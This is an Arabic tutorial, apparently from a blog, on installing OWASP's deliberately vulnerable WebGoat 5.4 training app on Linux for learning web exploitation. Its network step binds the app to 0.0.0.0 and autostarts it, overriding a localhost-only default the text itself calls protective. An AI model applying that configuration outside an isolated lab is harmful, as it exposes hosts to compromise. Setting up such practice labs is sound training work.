الكثير منا يحتاج بيئة وهمية لتطبيق ما يتعلمه في استغلال ثغرات تطبيقات الويب. كتابة أكواد مصابة والتطبيق عليها هو إهدار للمجهود والوقت كما أنه من الخطأ التعلم على مواقع حقيقية تخص أشخاص آخرين ولهذا نبحث عن تطبيقات مصابة تم عملها خصيصا للتعلم وتختلف هذه التطبيقات في لغة برمجتها وقواعد بياناتها وأيضا الثغرات الموجودة عليها ومدى احترافيتها. مشروع WebGoat هو من تطويل منظمة OWASP وتم عمله بالجافا J2EE ليتناسب مع التدريبات التي تعطيها في دوراتها الاحترافية وهو مشروع مجاني ومفتوح المصدر ويعمل على عدة منصات وهو ليس المنصة الوحيدة الموجودة في هذا المجال.

يحتوي المشروع على أنواع مختلفة من ثغرات الويب منها

  • Cross-site Scripting (XSS)
  • Access Control
  • Thread Safety
  • Hidden Form Field Manipulation
  • Parameter Manipulation
  • Weak Session Cookies
  • Blind SQL Injection
  • Numeric SQL Injection
  • String SQL Injection
  • Web Services
  • Fail Open Authentication
  • Dangers of HTML Comments

والأن جاء وقت التثبيت..

التـثـبـيـت

1. تثبيت الجافا على النظام

yum -y install java-*-openjdk
2. تحميل المشروع

حمل المشروع من الروابط الرئيسية: من هنا
3. فك الضغط والدخول إلى مجلد المشروع

unzip WebGoat-5.4-OWASP_Standard_Win32.zip
cd WebGoat-5.4

يفترض بعد هذه الخطوة أن نقوم بتشغيل المشروع لكن يجب أن نقوم ببعض التعديلات على الإعدادات لكي نحدد مسار الجافا في النظام

3.1. تعديل ملف تشغيل المشروع (Linux=webgoat.sh , Windows,webgoat.bat)

معلومة:

مسار الجافا عندي هو (/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0) تستطيع البحث عن مسار الجافا الخاص بك عن طريق
find / -name java

إصدار الجافا عندي هو (1.6.0_22)  تسطيع معرفة إصدار الجافا لديك عن طريق

java -version
الأن افتح الملف webgoat.sh

vim webgoat.sh

ابحث عن السطر

export CATALINA_HOME PATH

وحوله إلى نفس مسار الجافا الخاص بك

export JAVA_HOME=/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0

ابحث عن السطر

$JAVA_HOME/bin/java -version 2>&1 | grep ‘version \”1.5’ >/dev/null

وحوله إلى نفس إصدار الجافا الخاص بك

$JAVA_HOME/bin/java -version 2>&1 | grep ‘version \”1.6.0_22’ >/dev/null

 

4. شغل خادم المشروع
./webgoat.sh start80
سيعمل على منفذ 80, أو
./webgoat.sh start8080
كي يعمل على منفذ 8080
حتى هنا نكون قد انتهينا من التثبيت بشكل رسمي, لكن ستواجهنا مشكلة أن WebGoat تم إعداده لكي يتم الوصول إليه من نفس الجهاز المُثبت عليه احتياطا لأنه نظام مليئ بالثغرات وخوفا من الوصول إليه من أحد في نفس الشبكة واختراق الجهاز.
في حالتنا نريد الوصول إليه من الشبكة والأن سنعرف كيفيه إعداده لهذا.
 
5. تعديل ملف إعدادات الـ Tomcat 
cd tomcat/conf
ملاحظة:
إذا كنت تريد تشغيل المشروع على منفذ 80, عدل الملف (server_80.xml)
إذا كنت تريد تشغيل المشروع على منفذ 80, عدل الملف (server_8080.xml)

اذهب إلى السطر

Connector address=”127.0.0.1” port=”80″ maxHttpHeaderSize=”8192″

واجعله

Connector address=”0.0.0.0” port=”80″ maxHttpHeaderSize=”8192″

 

5.1. أعد التشغيل أو ابحث عن الـ Process الخاصة بالجافا واغلقها

5.2.شغّل خادم المشروع
./webgoat.sh start80
سيعمل على منفذ 80, أو
./webgoat.sh start8080

معلومة:
تستطيع جعل التطبيق يعمل بشكل افتراضي (مسار التطبيق عندي تحت الجذر مباشرة)
echo "cd /WebGoat-5.4 && ./webgoat.sh start80 &" >> /etc/rc.local

5.3.الدخول إلى المشروع من المتصفح
http://x.x.x.x/WebGoat/attack

عند دخولك على الموقع لأول مرة سيطلب منك اسم مستخدم وكلمة مرور ,, استخدم التالي
Username = guest, password = guest

سؤال: نعلم أن هناك مشاريع أخرى مثل Webgoat وعلى منصات مختلفة ولغات متعددة, هل تعتقد أن في تلك المشاريع من هو أفضل منه؟ ولماذا؟